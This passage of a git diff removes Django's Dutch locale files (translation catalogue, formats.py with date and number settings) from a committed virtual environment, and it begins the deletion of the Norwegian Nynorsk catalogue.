‘%(allowed_extensions)s’." - -msgid "Null characters are not allowed." -msgstr "Null-tekens zijn niet toegestaan." - -msgid "and" -msgstr "en" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s met deze %(field_labels)s bestaat al." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Beperking ‘%(name)s’ is geschonden." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Waarde %(value)r is geen geldige keuze." - -msgid "This field cannot be null." -msgstr "Dit veld mag niet leeg zijn." - -msgid "This field cannot be blank." -msgstr "Dit veld kan niet leeg zijn" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Er bestaat al een %(model_name)s met eenzelfde %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s moet uniek zijn voor %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Veld van type: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Waarde van ‘%(value)s’ moet True of False zijn." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Waarde van ‘%(value)s’ moet True, False of None zijn." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (True of False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Tekenreeks (hooguit %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Tekenreeks (onbeperkt)" - -msgid "Comma-separated integers" -msgstr "Komma-gescheiden gehele getallen" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Waarde van ‘%(value)s’ heeft een ongeldige datumnotatie. De juiste notatie " -"is YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Waarde van ‘%(value)s’ heeft de juiste notatie (YYYY-MM-DD), maar het is een " -"ongeldige datum." - -msgid "Date (without time)" -msgstr "Datum (zonder tijd)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Waarde van ‘%(value)s’ heeft een ongeldige notatie. De juiste notatie is " -"YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Waarde van ‘%(value)s’ heeft de juiste notatie (YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ]), maar het is een ongeldige datum/tijd." - -msgid "Date (with time)" -msgstr "Datum (met tijd)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Waarde van ‘%(value)s’ moet een decimaal getal zijn." - -msgid "Decimal number" -msgstr "Decimaal getal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Waarde van ‘%(value)s’ heeft een ongeldige notatie. De juiste notatie is " -"[DD] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Tijdsduur" - -msgid "Email address" -msgstr "E-mailadres" - -msgid "File path" -msgstr "Bestandspad" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Waarde van ‘%(value)s’ moet een drijvende-kommagetal zijn." - -msgid "Floating point number" -msgstr "Drijvende-kommagetal" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Waarde van ‘%(value)s’ moet een geheel getal zijn." - -msgid "Integer" -msgstr "Geheel getal" - -msgid "Big (8 byte) integer" -msgstr "Groot (8 byte) geheel getal" - -msgid "Small integer" -msgstr "Klein geheel getal" - -msgid "IPv4 address" -msgstr "IPv4-adres" - -msgid "IP address" -msgstr "IP-adres" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Waarde van ‘%(value)s’ moet None, True of False zijn." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (True, False of None)" - -msgid "Positive big integer" -msgstr "Positief groot geheel getal" - -msgid "Positive integer" -msgstr "Positief geheel getal" - -msgid "Positive small integer" -msgstr "Positief klein geheel getal" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (max. lengte %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Waarde van ‘%(value)s’ heeft een ongeldige notatie. De juiste notatie is HH:" -"MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Waarde van ‘%(value)s’ heeft de juiste notatie (HH:MM[:ss[.uuuuuu]]), maar " -"het is een ongeldige tijd." - -msgid "Time" -msgstr "Tijd" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Onbewerkte binaire gegevens" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "‘%(value)s’ is geen geldige UUID." - -msgid "Universally unique identifier" -msgstr "Universally unique identifier" - -msgid "File" -msgstr "Bestand" - -msgid "Image" -msgstr "Afbeelding" - -msgid "A JSON object" -msgstr "Een JSON-object" - -msgid "Value must be valid JSON." -msgstr "Waarde moet geldige JSON zijn." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Refererende sleutel (type wordt bepaald door gerelateerde veld)" - -msgid "One-to-one relationship" -msgstr "Een-op-een-relatie" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s-relatie" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s-relaties" - -msgid "Many-to-many relationship" -msgstr "Veel-op-veel-relatie" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Dit veld is verplicht." - -msgid "Enter a whole number." -msgstr "Voer een geheel getal in." - -msgid "Enter a valid date." -msgstr "Voer een geldige datum in." - -msgid "Enter a valid time." -msgstr "Voer een geldige tijd in." - -msgid "Enter a valid date/time." -msgstr "Voer een geldige datum/tijd in." - -msgid "Enter a valid duration." -msgstr "Voer een geldige tijdsduur in." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Het aantal dagen moet tussen {min_days} en {max_days} liggen." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Er is geen bestand verstuurd. Controleer het coderingstype op het formulier." - -msgid "No file was submitted." -msgstr "Er is geen bestand verstuurd." - -msgid "The submitted file is empty." -msgstr "Het verstuurde bestand is leeg." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Zorg dat deze bestandsnaam niet meer dan %(max)d teken bevat (het zijn er nu " -"%(length)d)." -msgstr[1] "" -"Zorg dat deze bestandsnaam niet meer dan %(max)d tekens bevat (het zijn er " -"nu %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Upload een bestand of vink het vakje Wissen aan, niet allebei." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Upload een geldige afbeelding. Het geüploade bestand is geen of een " -"beschadigde afbeelding." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Selecteer een geldige keuze. %(value)s is geen beschikbare keuze." - -msgid "Enter a list of values." -msgstr "Voer een lijst met waarden in." - -msgid "Enter a complete value." -msgstr "Voer een volledige waarde in." - -msgid "Enter a valid UUID." -msgstr "Voer een geldige UUID in." - -msgid "Enter a valid JSON." -msgstr "Voer een geldige JSON in." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Verborgen veld %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm-gegevens ontbreken of er is mee geknoeid. Ontbrekende velden: " -"%(field_names)s. Mogelijk dient u een bug te melden als het probleem " -"aanhoudt." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Verstuur maximaal %(num)d formulier." -msgstr[1] "Verstuur maximaal %(num)d formulieren." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Verstuur minimaal %(num)d formulier." -msgstr[1] "Verstuur minimaal %(num)d formulieren." - -msgid "Order" -msgstr "Volgorde" - -msgid "Delete" -msgstr "Verwijderen" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Corrigeer de dubbele gegevens voor %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Corrigeer de dubbele gegevens voor %(field)s, dat uniek moet zijn." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Corrigeer de dubbele gegevens voor %(field_name)s, dat uniek moet zijn voor " -"de %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Corrigeer de dubbele waarden hieronder." - -msgid "The inline value did not match the parent instance." -msgstr "De inline waarde komt niet overeen met de bovenliggende instantie." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Selecteer een geldige keuze. Deze keuze is niet beschikbaar." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "‘%(pk)s’ is geen geldige waarde." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s kon niet worden geïnterpreteerd in tijdzone " -"%(current_timezone)s; mogelijk is deze dubbelzinnig of bestaat deze niet." - -msgid "Clear" -msgstr "Wissen" - -msgid "Currently" -msgstr "Huidige" - -msgid "Change" -msgstr "Wijzigen" - -msgid "Unknown" -msgstr "Onbekend" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nee" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ja,nee,misschien" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "middernacht" - -msgid "noon" -msgstr "middag" - -msgid "Monday" -msgstr "maandag" - -msgid "Tuesday" -msgstr "dinsdag" - -msgid "Wednesday" -msgstr "woensdag" - -msgid "Thursday" -msgstr "donderdag" - -msgid "Friday" -msgstr "vrijdag" - -msgid "Saturday" -msgstr "zaterdag" - -msgid "Sunday" -msgstr "zondag" - -msgid "Mon" -msgstr "ma" - -msgid "Tue" -msgstr "di" - -msgid "Wed" -msgstr "wo" - -msgid "Thu" -msgstr "do" - -msgid "Fri" -msgstr "vr" - -msgid "Sat" -msgstr "za" - -msgid "Sun" -msgstr "zo" - -msgid "January" -msgstr "januari" - -msgid "February" -msgstr "februari" - -msgid "March" -msgstr "maart" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "mei" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "augustus" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mrt" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mei" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb" - -msgctxt "abbrev. month" -msgid "March" -msgstr "mrt" - -msgctxt "abbrev. month" -msgid "April" -msgstr "apr" - -msgctxt "abbrev. month" -msgid "May" -msgstr "mei" - -msgctxt "abbrev. month" -msgid "June" -msgstr "jun" - -msgctxt "abbrev. month" -msgid "July" -msgstr "jul" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sep" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec" - -msgctxt "alt. month" -msgid "January" -msgstr "januari" - -msgctxt "alt. month" -msgid "February" -msgstr "februari" - -msgctxt "alt. month" -msgid "March" -msgstr "maart" - -msgctxt "alt. month" -msgid "April" -msgstr "april" - -msgctxt "alt. month" -msgid "May" -msgstr "mei" - -msgctxt "alt. month" -msgid "June" -msgstr "juni" - -msgctxt "alt. month" -msgid "July" -msgstr "juli" - -msgctxt "alt. month" -msgid "August" -msgstr "augustus" - -msgctxt "alt. month" -msgid "September" -msgstr "september" - -msgctxt "alt. month" -msgid "October" -msgstr "oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "november" - -msgctxt "alt. month" -msgid "December" -msgstr "december" - -msgid "This is not a valid IPv6 address." -msgstr "Dit is geen geldig IPv6-adres." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "of" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d jaar" -msgstr[1] "%(num)d jaar" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d maand" -msgstr[1] "%(num)d maanden" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d week" -msgstr[1] "%(num)d weken" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dag" -msgstr[1] "%(num)d dagen" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d uur" -msgstr[1] "%(num)d uur" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuut" -msgstr[1] "%(num)d minuten" - -msgid "Forbidden" -msgstr "Verboden" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-verificatie mislukt. Aanvraag afgebroken." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"U ziet deze melding, omdat deze HTTPS-website vereist dat uw webbrowser een " -"‘Referer header’ meestuurt, maar deze ontbreekt. Deze header is om " -"veiligheidsredenen vereist om er zeker van te zijn dat uw browser niet door " -"derden wordt gekaapt." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Als u ‘Referer’-headers in uw browser hebt uitgeschakeld, schakel deze dan " -"weer in, op zijn minst voor deze website, of voor HTTPS-verbindingen, of " -"voor ‘same-origin’-aanvragen." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Als u de tag gebruikt of de " -"header ‘Referrer-Policy: no-referrer’ opneemt, verwijder deze dan. De CSRF-" -"bescherming vereist de ‘Referer’-header voor strenge referer-controle. Als u " -"bezorgd bent om privacy, gebruik dan alternatieven zoals voor koppelingen naar websites van derden." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"U ziet deze melding, omdat deze website vereist dat een CSRF-cookie wordt " -"meegestuurd bij het verzenden van formulieren. Dit cookie is om " -"veiligheidsredenen vereist om er zeker van te zijn dat uw browser niet door " -"derden wordt gekaapt." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Als u cookies in uw webbrowser hebt uitgeschakeld, schakel deze dan weer in, " -"op zijn minst voor deze website, of voor ‘same-origin’-aanvragen." - -msgid "More information is available with DEBUG=True." -msgstr "Meer informatie is beschikbaar met DEBUG=True." - -msgid "No year specified" -msgstr "Geen jaar opgegeven" - -msgid "Date out of range" -msgstr "Datum buiten bereik" - -msgid "No month specified" -msgstr "Geen maand opgegeven" - -msgid "No day specified" -msgstr "Geen dag opgegeven" - -msgid "No week specified" -msgstr "Geen week opgegeven" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Geen %(verbose_name_plural)s beschikbaar" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Geen toekomstige %(verbose_name_plural)s beschikbaar, omdat %(class_name)s." -"allow_future de waarde False (Onwaar) heeft." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ongeldige datumtekst ‘%(datestr)s’ op basis van notatie ‘%(format)s’" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Geen %(verbose_name)s gevonden die voldoet aan de query" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Pagina is niet ‘last’ en kan ook niet naar een geheel getal worden " -"geconverteerd." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ongeldige pagina (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Lege lijst en ‘%(class_name)s.allow_empty’ is False." - -msgid "Directory indexes are not allowed here." -msgstr "Directoryindexen zijn hier niet toegestaan." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "‘%(path)s’ bestaat niet" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index van %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "De installatie is gelukt! Gefeliciteerd!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Uitgaveopmerkingen voor Django " -"%(version)s weergeven" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"U ziet deze pagina, omdat uw instellingenbestand DEBUG=True bevat en u geen URL's hebt geconfigureerd." - -msgid "Django Documentation" -msgstr "Django-documentatie" - -msgid "Topics, references, & how-to’s" -msgstr "Onderwerpen, referenties en instructies" - -msgid "Tutorial: A Polling App" -msgstr "Handleiding: een app voor peilingen" - -msgid "Get started with Django" -msgstr "Aan de slag met Django" - -msgid "Django Community" -msgstr "Django-gemeenschap" - -msgid "Connect, get help, or contribute" -msgstr "Contact met anderen, hulp verkrijgen of bijdragen" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nl/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/nl/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nl/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/nl/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 55680270..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nl/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nl/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/nl/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index e7203659..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nl/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nl/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/nl/formats.py deleted file mode 100644 index e9f52b9b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/nl/formats.py +++ /dev/null @@ -1,92 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" # '20 januari 2009' -TIME_FORMAT = "H:i" # '15:23' -DATETIME_FORMAT = "j F Y H:i" # '20 januari 2009 15:23' -YEAR_MONTH_FORMAT = "F Y" # 'januari 2009' -MONTH_DAY_FORMAT = "j F" # '20 januari' -SHORT_DATE_FORMAT = "j-n-Y" # '20-1-2009' -SHORT_DATETIME_FORMAT = "j-n-Y H:i" # '20-1-2009 15:23' -FIRST_DAY_OF_WEEK = 1 # Monday (in Dutch 'maandag') - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d-%m-%Y", # '20-01-2009' - "%d-%m-%y", # '20-01-09' - "%d/%m/%Y", # '20/01/2009' - "%d/%m/%y", # '20/01/09' - "%Y/%m/%d", # '2009/01/20' - # "%d %b %Y", # '20 jan 2009' - # "%d %b %y", # '20 jan 09' - # "%d %B %Y", # '20 januari 2009' - # "%d %B %y", # '20 januari 09' -] -# Kept ISO formats as one is in first position -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '15:23:35' - "%H:%M:%S.%f", # '15:23:35.000200' - "%H.%M:%S", # '15.23:35' - "%H.%M:%S.%f", # '15.23:35.000200' - "%H.%M", # '15.23' - "%H:%M", # '15:23' -] -DATETIME_INPUT_FORMATS = [ - # With time in %H:%M:%S : - "%d-%m-%Y %H:%M:%S", # '20-01-2009 15:23:35' - "%d-%m-%y %H:%M:%S", # '20-01-09 15:23:35' - "%Y-%m-%d %H:%M:%S", # '2009-01-20 15:23:35' - "%d/%m/%Y %H:%M:%S", # '20/01/2009 15:23:35' - "%d/%m/%y %H:%M:%S", # '20/01/09 15:23:35' - "%Y/%m/%d %H:%M:%S", # '2009/01/20 15:23:35' - # "%d %b %Y %H:%M:%S", # '20 jan 2009 15:23:35' - # "%d %b %y %H:%M:%S", # '20 jan 09 15:23:35' - # "%d %B %Y %H:%M:%S", # '20 januari 2009 15:23:35' - # "%d %B %y %H:%M:%S", # '20 januari 2009 15:23:35' - # With time in %H:%M:%S.%f : - "%d-%m-%Y %H:%M:%S.%f", # '20-01-2009 15:23:35.000200' - "%d-%m-%y %H:%M:%S.%f", # '20-01-09 15:23:35.000200' - "%Y-%m-%d %H:%M:%S.%f", # '2009-01-20 15:23:35.000200' - "%d/%m/%Y %H:%M:%S.%f", # '20/01/2009 15:23:35.000200' - "%d/%m/%y %H:%M:%S.%f", # '20/01/09 15:23:35.000200' - "%Y/%m/%d %H:%M:%S.%f", # '2009/01/20 15:23:35.000200' - # With time in %H.%M:%S : - "%d-%m-%Y %H.%M:%S", # '20-01-2009 15.23:35' - "%d-%m-%y %H.%M:%S", # '20-01-09 15.23:35' - "%d/%m/%Y %H.%M:%S", # '20/01/2009 15.23:35' - "%d/%m/%y %H.%M:%S", # '20/01/09 15.23:35' - # "%d %b %Y %H.%M:%S", # '20 jan 2009 15.23:35' - # "%d %b %y %H.%M:%S", # '20 jan 09 15.23:35' - # "%d %B %Y %H.%M:%S", # '20 januari 2009 15.23:35' - # "%d %B %y %H.%M:%S", # '20 januari 2009 15.23:35' - # With time in %H.%M:%S.%f : - "%d-%m-%Y %H.%M:%S.%f", # '20-01-2009 15.23:35.000200' - "%d-%m-%y %H.%M:%S.%f", # '20-01-09 15.23:35.000200' - "%d/%m/%Y %H.%M:%S.%f", # '20/01/2009 15.23:35.000200' - "%d/%m/%y %H.%M:%S.%f", # '20/01/09 15.23:35.000200' - # With time in %H:%M : - "%d-%m-%Y %H:%M", # '20-01-2009 15:23' - "%d-%m-%y %H:%M", # '20-01-09 15:23' - "%Y-%m-%d %H:%M", # '2009-01-20 15:23' - "%d/%m/%Y %H:%M", # '20/01/2009 15:23' - "%d/%m/%y %H:%M", # '20/01/09 15:23' - "%Y/%m/%d %H:%M", # '2009/01/20 15:23' - # "%d %b %Y %H:%M", # '20 jan 2009 15:23' - # "%d %b %y %H:%M", # '20 jan 09 15:23' - # "%d %B %Y %H:%M", # '20 januari 2009 15:23' - # "%d %B %y %H:%M", # '20 januari 2009 15:23' - # With time in %H.%M : - "%d-%m-%Y %H.%M", # '20-01-2009 15.23' - "%d-%m-%y %H.%M", # '20-01-09 15.23' - "%d/%m/%Y %H.%M", # '20/01/2009 15.23' - "%d/%m/%y %H.%M", # '20/01/09 15.23' - # "%d %b %Y %H.%M", # '20 jan 2009 15.23' - # "%d %b %y %H.%M", # '20 jan 09 15.23' - # "%d %B %Y %H.%M", # '20 januari 2009 15.23' - # "%d %B %y %H.%M", # '20 januari 2009 15.23' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/nn/LC_MESSAGES/django.mo deleted file mode 100644 index 7698eda1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/nn/LC_MESSAGES/django.po deleted file mode 100644 index 04b872e3..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/nn/LC_MESSAGES/django.po +++ /dev/null @@ -1,1305 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# hgrimelid , 2011 -# Jannis Leidel , 2011 -# jensadne , 2013 -# Sigurd Gartmann , 2012 -# Sivert Olstad, 2021 -# velmont , 2012 -# Vibeke Uthaug, 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-25 14:49+0000\n" -"Last-Translator: Sivert Olstad\n" -"Language-Team: Norwegian Nynorsk (http://www.transifex.com/django/django/" -"language/nn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabisk" - -msgid "Algerian Arabic" -msgstr "Arabisk (algersk)" - -msgid "Asturian" -msgstr "Asturiansk" - -msgid "Azerbaijani" -msgstr "Aserbajansk" - -msgid "Bulgarian" -msgstr "Bulgarsk" - -msgid "Belarusian" -msgstr "Kviterussisk" - -msgid "Bengali" -msgstr "Bengalsk" - -msgid "Breton" -msgstr "Bretonsk" - -msgid "Bosnian" -msgstr "Bosnisk" - -msgid "Catalan" -msgstr "Katalansk" - -msgid "Czech" -msgstr "Tsjekkisk" - -msgid "Welsh" -msgstr "Walisisk" - -msgid "Danish" -msgstr "Dansk" - -msgid "German" -msgstr "Tysk" - -msgid "Lower Sorbian" -msgstr "Lågsorbisk" - -msgid "Greek" -msgstr "Gresk" - -msgid "English" -msgstr "Engelsk" - -msgid "Australian English" -msgstr "Engelsk (australsk)" - -msgid "British English" -msgstr "Engelsk (britisk)" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spansk" - -msgid "Argentinian Spanish" -msgstr "Spansk (argentinsk)" - -msgid "Colombian Spanish" -msgstr "Spansk (kolombiansk)" - -msgid "Mexican Spanish" -msgstr "Spansk (meksikansk)" - -msgid "Nicaraguan Spanish" -msgstr "Spansk (nicaraguansk)" - -msgid "Venezuelan Spanish" -msgstr "Spansk (venezuelansk)" - -msgid "Estonian" -msgstr "Estisk" - -msgid "Basque" -msgstr "Baskisk" - -msgid "Persian" -msgstr "Persisk" - -msgid "Finnish" -msgstr "Finsk" - -msgid "French" -msgstr "Fransk" - -msgid "Frisian" -msgstr "Frisisk" - -msgid "Irish" -msgstr "Irsk" - -msgid "Scottish Gaelic" -msgstr "Skotsk-gaelisk" - -msgid "Galician" -msgstr "Galisisk" - -msgid "Hebrew" -msgstr "Hebraisk" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatisk" - -msgid "Upper Sorbian" -msgstr "Høgsorbisk" - -msgid "Hungarian" -msgstr "Ungarsk" - -msgid "Armenian" -msgstr "Armensk" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesisk" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandsk" - -msgid "Italian" -msgstr "Italiensk" - -msgid "Japanese" -msgstr "Japansk" - -msgid 